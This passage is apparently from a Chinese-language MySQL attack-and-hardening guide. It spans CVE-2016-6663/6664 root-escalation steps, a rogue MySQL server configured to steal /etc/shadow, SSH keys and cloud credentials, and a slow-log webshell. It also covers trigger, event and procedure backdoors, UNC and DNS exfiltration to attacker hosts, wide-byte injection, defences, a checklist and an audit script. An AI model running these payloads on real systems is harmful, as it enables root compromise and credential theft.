        rm -f /var/lib/mysql/testdb/exploit.MYD
        ln -s /etc/shadow /var/lib/mysql/testdb/exploit.MYD
        break
    fi
done &

# 在MySQL中执行
mysql -u lowpriv -p -e "
USE testdb;
CREATE TABLE exploit (data TEXT);
INSERT INTO exploit VALUES ('hacked');
"

受影响版本:

  • MySQL 5.5.x < 5.5.53
  • MySQL 5.6.x < 5.6.34
  • MySQL 5.7.x < 5.7.16
  • MariaDB 5.5.x < 5.5.53
  • MariaDB 10.0.x < 10.0.29
  • MariaDB 10.1.x < 10.1.20
  • Percona Server 5.5.x < 5.5.51-38.2
  • Percona Server 5.6.x < 5.6.32-78.1
  • Percona Server 5.7.x < 5.7.14-8

6.3 CVE-2016-6664:错误日志提权到root

这个漏洞允许mysql系统用户通过操纵错误日志文件提升到root权限。

漏洞原理: mysqld_safe脚本在处理错误日志时存在缺陷,攻击者可以将错误日志文件替换为符号链接,指向任意文件(如/etc/ld.so.preload),从而在MySQL重启时以root权限加载恶意库。

利用步骤:

# 第一步:创建恶意动态库
cat > /tmp/exploit.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    system("chmod u+s /bin/bash");
    unlink("/etc/ld.so.preload");
}
EOF

gcc -shared -fPIC -o /tmp/exploit.so /tmp/exploit.c

# 第二步:替换错误日志为符号链接
rm -f /var/log/mysql/error.log
ln -s /etc/ld.so.preload /var/log/mysql/error.log

# 第三步:触发MySQL重启
# mysqld_safe(以root运行)在启动时向error.log写入日志信息
# 由于 error.log → /etc/ld.so.preload(符号链接)
# 启动日志内容会被写入 ld.so.preload
# 结合 CVE-2016-6662 注入的恶意配置,重启后会以root权限加载恶意库
service mysql restart

# 第四步:获取root shell
/bin/bash -p

受影响版本:

  • MySQL 5.5.x < 5.5.53
  • MySQL 5.6.x < 5.6.34
  • MySQL 5.7.x < 5.7.16
  • MariaDB 5.5.x < 5.5.53
  • MariaDB 10.0.x < 10.0.29
  • MariaDB 10.1.x < 10.1.20
  • Percona Server(所有版本)

6.4 防御措施

针对CVE-2016-6662:

  • 升级到修复版本
  • 限制FILE权限
  • 配置文件权限设为只读(chmod 644 /etc/mysql/my.cnf)
  • 使用AppArmor/SELinux限制MySQL进程

针对CVE-2016-6663:

  • 升级到修复版本
  • 数据目录权限严格控制(chmod 700 /var/lib/mysql)
  • 使用独立的文件系统挂载数据目录,禁用符号链接(nosymfollow)

针对CVE-2016-6664:

  • 升级到修复版本
  • 日志目录权限严格控制
  • 使用systemd管理MySQL而非mysqld_safe
  • 监控关键文件的符号链接变化

七、其他攻击面与CVE漏洞

🔐 认证与初始访问

7.1 弱口令爆破

# 使用hydra爆破MySQL
hydra -l root -P /usr/share/wordlists/rockyou.txt target_ip mysql

# 使用medusa爆破
medusa -h target_ip -u root -P passwords.txt -M mysql

# nmap脚本爆破
nmap --script=mysql-brute -p 3306 target_ip

7.2 MySQL客户端任意文件读取(恶意服务端 / Fake MySQL Server)

这是一个针对MySQL客户端的攻击手法。MySQL协议允许服务端在认证阶段要求客户端发送本地文件(LOAD DATA LOCAL INFILE)。攻击者可以搭建恶意MySQL服务端,当受害者客户端连接时,窃取客户端主机上的任意文件。

攻击原理: MySQL协议在客户端执行 LOAD DATA LOCAL INFILE 时,服务端可以指定要读取的文件路径。恶意服务端可以在握手阶段就要求客户端发送敏感文件。

攻击场景:

  1. 攻击者搭建恶意MySQL服务器
  2. 诱导受害者连接(如通过钓鱼、SSRF、配置劫持等)
  3. 客户端连接时,恶意服务端要求读取敏感文件
  4. 客户端自动发送文件内容给服务端

利用工具:

# Rogue-MySql-Server(最常用的工具)
# https://github.com/allyshka/Rogue-MySql-Server
git clone https://github.com/allyshka/Rogue-MySql-Server.git
cd Rogue-MySql-Server

# 修改配置文件,指定要读取的文件
vim config.json
{
    "fileList": [
        "/etc/passwd",
        "/etc/shadow",
        "/home/user/.ssh/id_rsa",
        "/var/www/html/config.php",
        "C:\\Windows\\win.ini",
        "C:\\Users\\Administrator\\Desktop\\passwords.txt"
    ],
    "port": 3306
}
# 启动恶意服务器
python rogue_mysql_server.py

攻击示例:

# 受害者执行以下命令连接
mysql -h attacker_ip -u root -p

# 或者通过应用程序连接
# 恶意服务端会自动读取配置的文件列表

高级利用场景:

  1. SSRF配合利用:
    通过SSRF漏洞让服务器连接恶意MySQL
    例如:http://vulnerable.com/api?db_host=attacker_ip:3306
    可以读取服务器上的敏感文件
    
  2. 供应链攻击:
    攻击者劫持DNS或中间人攻击
    将正常的MySQL服务器地址指向恶意服务器
    读取开发人员或运维人员的本地文件
    
  3. 读取云凭证:
    {
     "fileList": [
         "/home/user/.aws/credentials",
         "/home/user/.ssh/id_rsa",
         "/home/user/.docker/config.json",
         "/home/user/.kube/config",
         "C:\\Users\\user\\.aws\\credentials"
     ]
    }
    

常见敏感文件路径:

类别 Linux Windows
用户/密码 /etc/passwd、/etc/shadow C:\Windows\win.ini
SSH密钥 /root/.ssh/id_rsa C:\Users\[user]\.ssh\id_rsa
命令历史 /root/.bash_history -
Web配置 /var/www/html/config.php C:\xampp\mysql\bin\my.ini
MySQL配置 /etc/mysql/my.cnf C:\xampp\mysql\bin\my.ini
云凭证 ~/.aws/credentials C:\Users\[user]\.aws\credentials
SSH记录 ~/.ssh/known_hosts -
FTP凭证 - C:\Users\[user]\AppData\Roaming\FileZilla\recentservers.xml

防御措施:

  1. 客户端配置禁用 LOCAL INFILE:
    # my.cnf 客户端配置
    [client]
    local-infile=0
    
  2. 连接时显式禁用:
    # 命令行连接
    mysql -h server_ip -u user -p --local-infile=0
    
# Python连接
import mysql.connector
conn = mysql.connector.connect(
    host='server_ip',
    user='user',
    password='pass',
    allow_local_infile=False  # 禁用
)
  1. 验证服务器身份:
    # 使用SSL连接并验证证书
    mysql -h server_ip -u user -p \
     --ssl-mode=VERIFY_IDENTITY \
     --ssl-ca=/path/to/ca.pem
    
  2. 网络隔离:
    • 不要从不可信网络连接MySQL
    • 使用VPN或跳板机连接生产数据库
    • 限制数据库服务器的出站连接
  3. 监控异常连接:
    # 监控连接到非预期IP的MySQL连接
    netstat -antp | grep :3306 | grep ESTABLISHED
    
  4. 应用层防护: ```python

    在应用代码中验证数据库服务器地址

    ALLOWED_DB_HOSTS = [‘10.0.1.100’, ‘10.0.1.101’]

if db_host not in ALLOWED_DB_HOSTS: raise Exception(f”Unauthorized database host: {db_host}”)


**检测方法**:

```bash
# 检查客户端配置
mysql --help | grep local-infile

# 测试是否允许LOCAL INFILE
mysql -h target_ip -u user -p -e "SHOW VARIABLES LIKE 'local_infile';"

7.3 权限提升 - 利用SUID

如果MySQL的二进制文件被设置了SUID位:

# 查找SUID的mysql相关文件
find / -perm -4000 -type f 2>/dev/null | grep mysql

# 如果mysql客户端有SUID,可以利用
mysql -u root -p -e '\! /bin/bash'

🐚 持久化与后门

7.4 日志投毒(Log Poisoning)

除了前面提到的通过 general_log 写入WebShell,还可以利用其他日志机制:

-- 通过慢查询日志写入
SET GLOBAL slow_query_log = 'ON';
SET GLOBAL slow_query_log_file = '/var/www/html/shell.php';
SET GLOBAL long_query_time = 0;
SELECT '<?php system($_GET["cmd"]); ?>' FROM mysql.user WHERE SLEEP(1);

-- 通过二进制日志(需要解码)
SET SQL_LOG_BIN = 1;
-- 执行包含恶意代码的SQL,然后从binlog中提取

7.5 利用触发器(Trigger)持久化

攻击者可以创建触发器,在特定操作时自动执行恶意代码:

-- 创建后门触发器
CREATE TRIGGER backdoor_trigger
BEFORE INSERT ON users
FOR EACH ROW
BEGIN
    IF NEW.username = 'backdoor_user' THEN
        SET NEW.password = MD5('known_password');
        SET NEW.role = 'admin';
    END IF;
END;

-- 查看所有触发器
SHOW TRIGGERS;
SELECT * FROM information_schema.TRIGGERS;

-- 删除触发器
DROP TRIGGER backdoor_trigger;

7.6 利用存储过程(Stored Procedure)

存储过程可以封装复杂逻辑,也可能被用于隐藏后门:

-- 创建后门存储过程
DELIMITER $$
CREATE PROCEDURE backdoor_proc(IN cmd VARCHAR(255))
BEGIN
    DECLARE result VARCHAR(1000);
    -- 如果有UDF,可以执行系统命令
    SELECT sys_exec(cmd) INTO result;
END$$
DELIMITER ;

-- 调用
CALL backdoor_proc('whoami');

-- 审计存储过程
SELECT * FROM information_schema.ROUTINES WHERE ROUTINE_TYPE='PROCEDURE';

7.7 利用事件调度器(Event Scheduler)

MySQL的事件调度器可以定时执行SQL语句,攻击者可以创建定时任务:

-- 启用事件调度器
SET GLOBAL event_scheduler = ON;

-- 创建定时后门(每分钟检查特定表,执行命令)
CREATE EVENT backdoor_event
ON SCHEDULE EVERY 1 MINUTE
DO
BEGIN
    DECLARE cmd VARCHAR(255);
    SELECT command INTO cmd FROM backdoor_commands LIMIT 1;
    IF cmd IS NOT NULL THEN
        -- 执行命令(需要UDF支持)
        SELECT sys_exec(cmd);
        DELETE FROM backdoor_commands LIMIT 1;
    END IF;
END;

-- 查看所有事件
SHOW EVENTS;
SELECT * FROM information_schema.EVENTS;

-- 删除事件
DROP EVENT backdoor_event;

🌐 网络与系统攻击

7.8 利用UNC路径触发NTLM认证与网络请求

MySQL本身的 LOAD DATA INFILE 不支持HTTP协议,只能读取本地文件系统路径。但在 Windows环境 下,MySQL可以通过UNC路径触发SMB请求,从而发起对外网络连接,实现NTLM哈希窃取或与内网服务交互。

利用方式:

-- 通过UNC路径触发SMB请求,窃取NTLM哈希(仅Windows)
SELECT LOAD_FILE('\\\\attacker_ip\\share\\file.txt');

-- 配合Responder等工具捕获NTLM哈希
-- 攻击者在attacker_ip上运行:responder -I eth0

配合SSRF的场景:

如果目标应用存在SSRF漏洞,攻击者可以让目标服务器连接到恶意MySQL服务端(参见7.2节 Fake MySQL Server),进而利用 LOAD DATA LOCAL INFILE 读取目标服务器上的敏感文件。这种间接方式才是MySQL在SSRF攻击链中的真正角色。

攻击链示例:
1. 发现Web应用SSRF漏洞(如数据库连接配置可控)
2. 将数据库地址指向攻击者的恶意MySQL服务端
3. 恶意服务端利用协议特性要求客户端发送本地文件
4. 获取目标服务器上的敏感文件(配置文件、密钥等)

防御:

  • 设置 secure_file_priv = NULL 禁止所有文件操作
  • Windows环境下限制MySQL进程的出站SMB连接
  • 数据库连接地址使用白名单,禁止用户可控

7.9 拒绝服务攻击(DoS)

-- 正则表达式DoS(ReDoS)
SELECT 'aaaaaaaaaaaaaaaaaaaaaaaaaaaa' REGEXP '(a+)+$';

-- 笛卡尔积导致资源耗尽
SELECT * FROM large_table1, large_table2, large_table3;

-- 递归查询导致栈溢出(MySQL 8.0+)
WITH RECURSIVE cte AS (
    SELECT 1 AS n
    UNION ALL
    SELECT n+1 FROM cte WHERE n < 999999999
)
SELECT * FROM cte;

防御:

  • 设置 max_execution_time 限制查询时间
  • 设置 max_connections 限制并发连接数
  • 使用 max_user_connections 限制单用户连接数

7.10 信息泄露

-- 获取数据库版本和系统信息
SELECT VERSION();
SELECT @@version_compile_os;
SELECT @@version_compile_machine;

-- 获取当前用户和权限
SELECT USER();
SELECT CURRENT_USER();
SHOW GRANTS;

-- 获取所有数据库
SHOW DATABASES;
SELECT schema_name FROM information_schema.schemata;

-- 获取所有用户
SELECT user, host, authentication_string FROM mysql.user;

-- 获取配置信息
SHOW VARIABLES;
SHOW VARIABLES LIKE '%dir%';  -- 查看重要目录路径

-- 获取进程列表(可能泄露其他用户的查询)
SHOW PROCESSLIST;
SELECT * FROM information_schema.PROCESSLIST;

防御:

  • 限制 information_schema 的访问权限
  • 禁止应用账号执行 SHOW PROCESSLIST
  • 错误信息不要暴露给前端用户

7.11 利用主从复制

在主从复制环境中,如果从库配置不当,可能被利用:

-- 在从库上执行(如果有权限)
STOP SLAVE;
CHANGE MASTER TO MASTER_HOST='attacker_ip', MASTER_USER='root', MASTER_PASSWORD='';
START SLAVE;

防御:

  • 从库使用只读模式:read_only=1 和 super_read_only=1
  • 主从复制使用SSL加密
  • 复制账号使用强密码,仅授予 REPLICATION SLAVE 权限

🔓 权限绕过与隐蔽信道

7.12 利用视图(View)的 SQL SECURITY DEFINER 提权

MySQL视图有两种安全模式:SQL SECURITY DEFINER(以视图创建者的权限执行)和 SQL SECURITY INVOKER(以调用者的权限执行)。当高权限用户使用 DEFINER 模式创建视图并授权给低权限用户时,低权限用户可以借助视图间接访问到自身无权限的数据。

攻击场景:

-- DBA使用root创建了一个DEFINER视图
CREATE DEFINER='root'@'localhost' SQL SECURITY DEFINER
VIEW all_users AS SELECT user, host, authentication_string FROM mysql.user;

-- 然后授予普通用户访问权限
GRANT SELECT ON mydb.all_users TO 'app_user'@'%';

-- 低权限用户通过视图可以读取mysql.user表(本来无权限)
-- 以app_user登录后执行:
SELECT * FROM mydb.all_users;
-- 成功获取所有用户的密码哈希!

审计方法:

-- 查找所有使用DEFINER模式的视图
SELECT TABLE_SCHEMA, TABLE_NAME, DEFINER, SECURITY_TYPE
FROM information_schema.VIEWS
WHERE SECURITY_TYPE = 'DEFINER';

-- 检查视图的DEFINER是否为高权限用户
SELECT v.TABLE_SCHEMA, v.TABLE_NAME, v.DEFINER, v.SECURITY_TYPE, v.VIEW_DEFINITION
FROM information_schema.VIEWS v
WHERE v.SECURITY_TYPE = 'DEFINER'
  AND v.DEFINER LIKE 'root@%';

防御:

  • 优先使用 SQL SECURITY INVOKER 模式创建视图
  • 使用 DEFINER 时,DEFINER账号应遵循最小权限原则,不要使用root
  • 定期审计 information_schema.VIEWS 中的 SECURITY_TYPE 和 DEFINER 字段
  • 遵循最小权限原则,不要通过视图间接暴露敏感表

7.13 利用预处理语句(Prepared Statement)绕过WAF

某些WAF或过滤机制可能被预处理语句绕过:

-- 使用预处理语句执行动态SQL
SET @sql = CONCAT('SELECT * FROM users WHERE id = ', @user_input);
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;

7.14 利用字符集转换绕过(宽字节注入)

宽字节注入原理

当MySQL客户端使用GBK等多字节编码时,攻击者可以利用编码转换的特性绕过基于 addslashes() 或 mysql_real_escape_string() 的转义防护。

攻击原理:

正常转义流程:
  输入:     ' OR 1=1--
  转义后:   \' OR 1=1--     (单引号被反斜杠转义,注入失败)

宽字节注入流程(GBK编码):
  输入:     %bf' OR 1=1--
  转义后:   %bf\' OR 1=1--  (即 %bf%5c%27 OR 1=1--)
  GBK解码:  縗' OR 1=1--    (%bf%5c 被合并为GBK汉字"縗",单引号逃逸!)

addslashes() 在单引号 '(0x27)前插入反斜杠 \(0x5c)。但在GBK编码中,0xbf5c 是一个合法的双字节汉字。因此 0xbf + 0x5c(反斜杠)被GBK解释器”吞掉”,导致后面的单引号 0x27 逃逸出来,注入成功。

利用示例:

-- 宽字节注入(GBK编码环境)
-- 输入: %df' OR 1=1--
-- 转换后: 運' OR 1=1--(%df%5c被合并为汉字"運")

-- 使用十六进制绕过关键字过滤
SELECT 0x61646D696E;  -- 等同于 'admin'

-- 使用CHAR函数绕过
SELECT CHAR(97,100,109,105,110);  -- 等同于 'admin'

防御:

  • 统一使用UTF-8编码,在连接和数据库层面都设置 character_set_client=utf8mb4
  • 使用参数化查询(PreparedStatement)而非字符串转义
  • 在 my.cnf 中强制编码:
[mysqld]
character-set-server = utf8mb4
collation-server = utf8mb4_unicode_ci

[client]
default-character-set = utf8mb4

7.15 利用MySQL注释绕过

-- 内联注释绕过
SELECT/**/username/**/FROM/**/users;

-- 版本注释(特定版本才执行)
/*!50000 SELECT * FROM users */;

-- 多行注释
SELECT * FROM users /*! WHERE id=1 */;

7.16 DNS外带(DNS Exfiltration)

在无回显的情况下,可以通过DNS查询带出数据:

-- 通过LOAD_FILE触发DNS查询(仅Windows,利用UNC路径)
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT database()), '.attacker.com\\abc'));

-- Windows UNC路径
SELECT LOAD_FILE('\\\\attacker.com\\share\\file.txt');

7.17 利用MySQL Proxy中间人攻击

如果使用MySQL Proxy且未加密,攻击者可以:

  • 窃听所有SQL查询和结果
  • 篡改查询语句
  • 注入恶意SQL

防御:

  • 使用SSL/TLS加密连接
  • 验证服务器证书
  • 使用VPN或专用网络

📋 CVE漏洞汇总

7.18 其他重要CVE漏洞

CVE-2023-21980:MySQL Server Client程序漏洞

  • CVSS评分:7.1(高危)
  • 影响版本:MySQL 8.0.32及之前版本
  • 漏洞描述:允许低权限攻击者通过网络访问破坏MySQL Server,影响机密性、完整性和可用性
  • 防御:升级到MySQL 8.0.33+

CVE-2023-22028:MySQL Server InnoDB组件DoS漏洞

  • CVSS评分:4.9(中危)
  • 影响版本:MySQL 8.0.x
  • 漏洞描述:高权限攻击者可导致MySQL Server挂起或崩溃
  • 防御:升级到最新版本,限制高权限账号

CVE-2021-2022:MySQL Server InnoDB组件DoS漏洞

  • CVSS评分:4.4(中危)
  • 影响版本:MySQL 5.6.x, 5.7.x, 8.0.x
  • 漏洞描述:高权限攻击者可导致MySQL Server频繁崩溃
  • 防御:升级到修复版本

CVE-2024-21201:MySQL Optimizer组件DoS漏洞

  • CVSS评分:4.9(中危)
  • 影响版本:MySQL 8.0.39及之前,8.4.x
  • 漏洞描述:易于利用的漏洞,可导致MySQL Server挂起或崩溃
  • 防御:升级到MySQL 8.0.40+或8.4.3+

八、MySQL 8.0+ 安全新特性

MySQL 8.0 引入了大量安全增强功能,了解并正确使用这些特性是加固现代MySQL部署的关键。

8.1 认证增强

caching_sha2_password 成为默认认证插件:

MySQL 8.0 将默认认证插件从 mysql_native_password 更换为 caching_sha2_password,提供更强的密码哈希安全性。

-- 查看当前默认认证插件
SHOW VARIABLES LIKE 'default_authentication_plugin';

-- 查看各用户使用的认证插件
SELECT user, host, plugin FROM mysql.user;

-- 如需兼容旧客户端,可为特定用户指定旧插件(不推荐)
ALTER USER 'legacy_app'@'%' IDENTIFIED WITH mysql_native_password BY 'password';

密码策略增强:

-- 安装密码验证组件(MySQL 8.0+)
INSTALL COMPONENT 'file://component_validate_password';

-- 配置密码策略
SET GLOBAL validate_password.policy = 'STRONG';        -- LOW / MEDIUM / STRONG
SET GLOBAL validate_password.length = 12;              -- 最小长度
SET GLOBAL validate_password.mixed_case_count = 1;     -- 至少1个大写+1个小写
SET GLOBAL validate_password.number_count = 1;         -- 至少1个数字
SET GLOBAL validate_password.special_char_count = 1;   -- 至少1个特殊字符

-- 密码过期策略
SET GLOBAL default_password_lifetime = 90;  -- 90天后过期
ALTER USER 'app_user'@'%' PASSWORD EXPIRE INTERVAL 180 DAY;

-- 密码历史与重用限制(防止用户反复使用旧密码)
SET GLOBAL password_history = 5;           -- 记住最近5个密码
SET GLOBAL password_reuse_interval = 365;  -- 365天内不能重用

-- 双密码支持(平滑密码轮换,不中断服务)
ALTER USER 'app_user'@'%' IDENTIFIED BY 'new_password' RETAIN CURRENT PASSWORD;
-- 确认所有客户端切换到新密码后:
ALTER USER 'app_user'@'%' DISCARD OLD PASSWORD;

8.2 权限增强

角色(Roles)系统:

-- 创建角色
CREATE ROLE 'app_read', 'app_write', 'app_admin';

-- 为角色分配权限
GRANT SELECT ON mydb.* TO 'app_read';
GRANT INSERT, UPDATE, DELETE ON mydb.* TO 'app_write';
GRANT ALL PRIVILEGES ON mydb.* TO 'app_admin';

-- 将角色授予用户
GRANT 'app_read' TO 'readonly_user'@'%';
GRANT 'app_read', 'app_write' TO 'app_user'@'%';

-- 设置默认角色
SET DEFAULT ROLE 'app_read' TO 'readonly_user'@'%';

-- 查看角色授权
SHOW GRANTS FOR 'app_read';

动态权限与部分撤销:

-- MySQL 8.0 新增的动态权限(更细粒度)
GRANT CONNECTION_ADMIN ON *.* TO 'dba'@'%';    -- 连接管理权限
GRANT BACKUP_ADMIN ON *.* TO 'backup'@'%';     -- 备份管理权限
GRANT AUDIT_ADMIN ON *.* TO 'auditor'@'%';     -- 审计管理权限

-- 部分撤销:全局权限的例外(需要启用 partial_revokes)
SET GLOBAL partial_revokes = ON;
GRANT SELECT ON *.* TO 'analyst'@'%';
REVOKE SELECT ON mysql.* FROM 'analyst'@'%';   -- 排除mysql系统库

8.3 连接安全

连接控制插件(防暴力破解):

-- 安装连接控制插件
INSTALL PLUGIN CONNECTION_CONTROL SONAME 'connection_control.so';
INSTALL PLUGIN CONNECTION_CONTROL_FAILED_LOGIN_ATTEMPTS SONAME 'connection_control.so';

-- 配置:连续失败3次后开始延迟,最大延迟10秒
SET GLOBAL connection_control_failed_connections_threshold = 3;
SET GLOBAL connection_control_min_connection_delay = 1000;      -- 1秒
SET GLOBAL connection_control_max_connection_delay = 10000;     -- 10秒

-- 查看失败登录统计
SELECT * FROM information_schema.CONNECTION_CONTROL_FAILED_LOGIN_ATTEMPTS;

强制加密连接:

-- 要求所有连接必须使用SSL/TLS
SET GLOBAL require_secure_transport = ON;

-- 或针对特定用户
ALTER USER 'app_user'@'%' REQUIRE SSL;
ALTER USER 'sensitive_user'@'%' REQUIRE X509;  -- 要求客户端证书
# my.cnf 配置 TLS
[mysqld]
require_secure_transport = ON
ssl-ca   = /etc/mysql/ssl/ca.pem
ssl-cert = /etc/mysql/ssl/server-cert.pem
ssl-key  = /etc/mysql/ssl/server-key.pem
tls_version = TLSv1.2,TLSv1.3

8.4 审计增强

-- MySQL Enterprise Audit(商业版)提供完整审计能力
-- 开源替代方案:Percona Audit Plugin 或 MariaDB Audit Plugin

-- MySQL 8.0 组件架构的审计日志
INSTALL COMPONENT 'file://component_audit_api_message_emit';

-- 查看审计日志状态
SHOW VARIABLES LIKE 'audit_log%';

8.5 MySQL 8.0 安全配置推荐

# my.cnf — MySQL 8.0+ 安全配置推荐
[mysqld]
# 认证
default_authentication_plugin = caching_sha2_password
default_password_lifetime = 90
password_history = 5
password_reuse_interval = 365

# 连接安全
require_secure_transport = ON
tls_version = TLSv1.2,TLSv1.3

# 权限
partial_revokes = ON

# 文件安全
secure_file_priv = NULL
local_infile = OFF

# 网络
bind-address = 127.0.0.1
mysqlx-bind-address = 127.0.0.1    # 别忘了X Protocol端口

九、MySQL安全加固检查清单

检查项 操作建议 优先级 相关CVE
secure_file_priv 设置为 NULL 或指定安全目录 高 CVE-2016-6662
root远程登录 禁止,仅允许 localhost 高 -
匿名用户 全部删除 高 -
密码策略 启用 validate_password 组件,最小长度12位 高 CVE-2012-2122
FILE权限 应用账号禁止授予 高 CVE-2016-6662
SUPER权限 应用账号禁止授予 高 -
端口暴露 仅限内网访问,bind-address=127.0.0.1 高 CVE-2012-2122
服务运行权限 以低权限用户(如mysql)运行,禁止root/SYSTEM 高 CVE-2016-6664
版本更新 保持最新稳定版本,及时修补已知漏洞 高 所有CVE
配置文件权限 my.cnf设为644,仅root可写 高 CVE-2016-6662
数据目录权限 设为700,禁用符号链接 高 CVE-2016-6663
日志目录权限 严格控制,防止符号链接攻击 高 CVE-2016-6664
认证插件 MySQL 8.0+ 使用 caching_sha2_password 高 -
连接控制 安装 connection_control 插件防暴力破解 高 -
general_log 生产环境关闭,防止被利用写入WebShell 中 CVE-2016-6662
slow_query_log 生产环境谨慎开启,防止日志投毒 中 -
local-infile 设置为0,防止恶意服务端读取文件 中 -
plugin_dir 目录权限仅MySQL可读,禁止写入 中 -
mysql.func 定期审计,检查异常UDF 中 -
event_scheduler 生产环境按需开启,定期审计事件 中 -
触发器审计 定期检查 information_schema.TRIGGERS 中 -
存储过程审计 定期检查 information_schema.ROUTINES 中 -
视图审计 检查视图的 SECURITY_TYPE 和 DEFINER,防止权限绕过 中 -
从库只读 设置 read_only=1 和 super_read_only=1 中 -
查询超时 设置 max_execution_time 防止DoS 中 CVE-2024-21201
连接限制 配置 max_connections 和 max_user_connections 中 -
备份安全 备份文件加密存储,脱机保存 中 -
SSL/TLS 强制客户端加密连接,require_secure_transport=ON 中 -
字符集 统一使用 utf8mb4,防止宽字节注入 中 -
密码过期 设置 default_password_lifetime 中 -
角色管理 使用角色统一管理权限,避免逐用户授权 中 -
X Protocol端口 mysqlx-bind-address=127.0.0.1,限制33060端口 中 -
错误信息 不要向前端暴露详细的数据库错误 低 -
PROCESSLIST 限制普通用户查看进程列表 低 -

十、快速安全加固脚本

#!/bin/bash
# MySQL安全加固脚本
# 使用方式: bash mysql_hardening.sh
# 注意:需要以MySQL root身份执行,脚本会提示输入密码

MYSQL_CMD="mysql -u root -p"

echo "============================================"
echo "[+] MySQL安全加固开始..."
echo "============================================"

# ========================
# 1. 用户与认证安全
# ========================
echo ""
echo "[*] === 用户与认证安全 ==="

echo "[*] 检查并删除匿名用户:"
$MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE User='';"
$MYSQL_CMD -e "DELETE FROM mysql.user WHERE User='';"

echo "[*] 禁止root远程登录:"
$MYSQL_CMD -e "DELETE FROM mysql.user WHERE User='root' AND Host NOT IN ('localhost', '127.0.0.1', '::1');"

echo "[*] 删除test数据库:"
$MYSQL_CMD -e "DROP DATABASE IF EXISTS test;"

echo "[*] 检查空密码账号:"
$MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE authentication_string='';"

echo "[*] 检查密码策略配置:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'validate_password%';"

# ========================
# 2. 权限审计
# ========================
echo ""
echo "[*] === 权限审计 ==="

echo "[*] 检查拥有FILE权限的用户:"
$MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE File_priv='Y';"

echo "[*] 检查拥有SUPER权限的用户:"
$MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE Super_priv='Y';"

echo "[*] 检查拥有GRANT权限的用户:"
$MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE Grant_priv='Y';"

echo "[*] 检查拥有SHUTDOWN权限的用户:"
$MYSQL_CMD -e "SELECT user, host FROM mysql.user WHERE Shutdown_priv='Y';"

# ========================
# 3. 关键配置检查
# ========================
echo ""
echo "[*] === 关键配置检查 ==="

echo "[*] 检查 secure_file_priv:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'secure_file_priv';"

echo "[*] 检查 local_infile:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'local_infile';"

echo "[*] 检查 bind-address:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'bind_address';"

echo "[*] 检查 SSL/TLS 配置:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE '%ssl%';"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'require_secure_transport';"

echo "[*] 检查 general_log 状态:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'general_log%';"

echo "[*] 检查 slow_query_log 状态:"
$MYSQL_CMD -e "SHOW VARIABLES LIKE 'slow_query_log%';"

# ========================
# 4. 后门与异常检查
# ========================
echo ""
echo "[*] === 后门与异常检查 ==="

echo "[*] 检查自定义函数(UDF):"
$MYSQL_CMD -e "SELECT * FROM mysql.func;"

echo "[*] 检查所有触发器:"
$MYSQL_CMD -e "SELECT TRIGGER_SCHEMA, TRIGGER_NAME, EVENT_MANIPULATION, EVENT_OBJECT_TABLE FROM information_schema.TRIGGERS;"

echo "[*] 检查定时事件:"
$MYSQL_CMD -e "SELECT EVENT_SCHEMA, EVENT_NAME, STATUS FROM information_schema.EVENTS;"

echo "[*] 检查存储过程:"
$MYSQL_CMD -e "SELECT ROUTINE_SCHEMA, ROUTINE_NAME, ROUTINE_TYPE FROM information_schema.ROUTINES WHERE ROUTINE_TYPE='PROCEDURE';"

echo "[*] 检查DEFINER视图:"
$MYSQL_CMD -e "SELECT TABLE_SCHEMA, TABLE_NAME, DEFINER, SECURITY_TYPE FROM information_schema.VIEWS WHERE SECURITY_TYPE='DEFINER';"

# ========================
# 5. 刷新权限
# ========================
echo ""
$MYSQL_CMD -e "FLUSH PRIVILEGES;"

echo "============================================"
echo "[+] 安全加固检查完成!"
echo "============================================"
echo ""
echo "[!] 请手动检查 my.cnf 配置文件,确保以下参数正确设置:"
echo "    - secure_file_priv = NULL"
echo "    - local-infile = 0"
echo "    - bind-address = 127.0.0.1"
echo "    - require_secure_transport = ON"
echo "    - default_authentication_plugin = caching_sha2_password"
echo "    - max_connections = 100"
echo "    - max_execution_time = 30000"
echo "    - default_password_lifetime = 90"
echo "    - character-set-server = utf8mb4"

十一、渗透测试速查清单

以下命令可作为获取 MySQL 访问权限后的标准操作流程,各攻击手法的详细原理参见前文对应章节。

11.1 信息收集

-- 基础信息(版本 / 用户 / 权限 / 路径)
SELECT VERSION(), USER(), CURRENT_USER();
SHOW GRANTS;
SELECT @@hostname, @@datadir, @@plugin_dir, @@basedir;
SELECT @@secure_file_priv, @@version_compile_os, @@version_compile_machine;

-- 配置信息
SHOW VARIABLES LIKE '%log%';
SHOW VARIABLES LIKE '%dir%';
SHOW VARIABLES LIKE 'local_infile';
SHOW VARIABLES LIKE '%ssl%';

11.2 权限与用户评估

SELECT user, host, plugin FROM mysql.user;
SELECT user, host FROM mysql.user WHERE File_priv='Y';          -- FILE 权限
SELECT user, host FROM mysql.user WHERE Super_priv='Y';         -- SUPER 权限
SELECT user, host FROM mysql.user WHERE Grant_priv='Y';         -- GRANT 权限
SELECT user, host FROM mysql.user WHERE Shutdown_priv='Y';      -- SHUTDOWN 权限
SELECT user, host FROM mysql.user WHERE authentication_string=''; -- 空密码

11.3 数据枚举

-- 敏感表查找
SELECT table_schema, table_name FROM information_schema.tables 
WHERE table_name LIKE '%user%' OR table_name LIKE '%admin%' 
   OR table_name LIKE '%password%' OR table_name LIKE '%config%'
   OR table_name LIKE '%credential%' OR table_name LIKE '%secret%';

-- 查找包含敏感列的表
SELECT table_schema, table_name, column_name FROM information_schema.columns
WHERE column_name LIKE '%password%' OR column_name LIKE '%pwd%'
   OR column_name LIKE '%pass%' OR column_name LIKE '%secret%'
   OR column_name LIKE '%token%' OR column_name LIKE '%key%';

11.4 提权可能性评估

检查项 命令 详见章节
